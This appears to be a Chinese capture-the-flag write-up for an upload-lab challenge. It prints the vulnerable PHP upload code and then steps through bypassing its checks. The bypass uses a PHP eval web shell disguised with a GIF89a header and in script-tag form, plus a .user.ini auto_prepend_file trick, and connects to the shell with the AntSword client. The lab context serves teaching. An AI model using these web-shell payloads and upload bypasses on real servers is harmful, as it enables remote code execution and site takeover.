28.CheckIn
源碼:
#index.php
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Upload Labs</title>
</head><body><h2>Upload Labs</h2><form action="index.php" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="fileUpload" id="file"><br><input type="submit" name="upload" value="提交"></form>
</body></html><?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {$tmp_name = $_FILES["fileUpload"]["tmp_name"];$name = $_FILES["fileUpload"]["name"];if (!$tmp_name) {die("filesize too big!");}if (!$name) {die("filename cannot be empty!");}$extension = substr($name, strrpos($name, ".") + 1);if (preg_match("/ph|htacess/i", $extension)) {die("illegal suffix!");}if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {die("<? in contents!");}$image_type = exif_imagetype($tmp_name);if (!$image_type) {die("exif_imagetype:not image!");}$upload_file_path = $userdir . "/" . $name;move_uploaded_file($tmp_name, $upload_file_path);echo "Your dir " . $userdir. ' <br>';echo 'Your files : <br>';var_dump(scandir($userdir));
}
可以看出文件上傳類的題目,繞過后綴的文件格式有php,php3,php4,php5,phtml,pht。
構造木馬文件<?php @eval($_REQUEST['shell']);?>命名為flag.php
上傳木馬文件,顯示illegal suffix!非法后綴,將flag.php改為flag.jpg,繼續上傳木馬文件,顯示<?in vontents!存在違法內容"<?"
改變思路點,將PHP一句話轉換為JS形式
重構木馬文件
<script language="php">@eval($_REQUEST['shell']);</script>
繼續上傳
顯示exif_imagetype:not image!
重構
GIF89a<script language="php">@eval($_REQUEST['shell']);</script>
上傳成功,使用蟻劍測試連接,可以連接,但是返回數據是空的,猜測后臺并沒有解析PHP代碼。訪問題目源碼,提示是.user.ini配置文件。
.user.ini配置文件與.htaccess配置文件比較類似,概述來說,htaccess文件是Apache服務器中的一個配置文件,注意這幾個字“改變文件擴展名”。
.htaccess配置文件格式
<FileMatch "1.jpg>
SetHandler application/x-httpd-php
.user.ini配置文件和.htaccess配置文件都是為了解析PHP代碼
可以把.user.ini理解為用戶可自定義的php.ini配置文件,.user.ini的兩個配置項,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。
創建.user.ini文件
GIF89a
auto_prepend_file=flag.jpg
上傳.user.ini文件
連接蟻劍:密碼:shell